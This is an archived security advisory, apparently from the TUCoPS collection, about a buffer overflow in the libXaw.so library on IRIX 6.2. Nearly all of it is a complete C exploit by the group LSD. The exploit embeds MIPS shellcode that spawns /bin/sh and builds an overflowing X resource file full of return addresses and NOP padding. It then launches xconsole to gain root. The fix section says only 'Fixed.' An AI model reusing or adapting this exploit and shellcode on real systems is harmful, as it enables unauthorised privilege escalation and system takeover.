TUCoPS :: SGI :: libxaw~1.txt

Irix libXaw.so buffer overflow

COMMAND

    libXaw.so

SYSTEMS AFFECTED

    IRIX 6.2

PROBLEM

    There  exists  a  buffer  overflow  vulnerability in the libXaw.so
    library in  the way  X environment  resources are  handled. It  is
    possible  to  exploit  this  bug   and  locally  gain  root   user
    privileges.  Code by LSD.

    /*## copyright LAST STAGE OF DELIRIUM nov 1998 poland        *://lsd-pl.net/ #*/
    /*## libxaw.so inputmethod                                                   #*/

    #include <fcntl.h>

    #define NOPNUM 500
    #define ADRNUM 500
    #define PCHNUM 500

    char shellcode[]=
        "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
        "\x24\x02\x03\xf3"    /* li      $v0,1011             */
        "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
        "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
        "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
        "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
        "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
        "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
        "\x03\xff\xff\xcc"    /* syscall                      */
        "/bin/sh"
    ;

    char jump[]=
        "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
        "\x03\xe0\x00\x08"    /* jr      $ra                  */
    ;

    char nop[]="\x24\x0f\x12\x34";

    main(int argc,char **argv){
        char buffer[10000],adr[4],pch[4],*b,*envp[2];
        int i,fd;

        printf("copyright LAST STAGE OF DELIRIUM nov 1998 poland  //lsd-pl.net/\n");
        printf("libxaw.so inputmethod for irix 6.2 IP:17,19,20,21,22\n\n");

        if(argc!=2){
            printf("usage: %s xserver:display\n",argv[0]);
            exit(-1);
        }

        *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8300+1000+200+12976;
        *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+8300+500+200+32732;

        envp[0]="XENVIRONMENT=resource";
        envp[1]=0;

        strcpy(buffer,"*text*international:    true\n");
        strcat(buffer,"*shellext*inputMethod:  ");
        b=buffer+strlen(buffer);
        for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
        for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
        for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
        for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
        *b++='\n';

        fd=open("resource",O_CREAT|O_WRONLY,0666);
        write(fd,buffer,strlen(buffer));
        close(fd);

        execle("/usr/bin/X11/xconsole","lsd","-display",argv[1],0,envp);
    }

SOLUTION

    Fixed.

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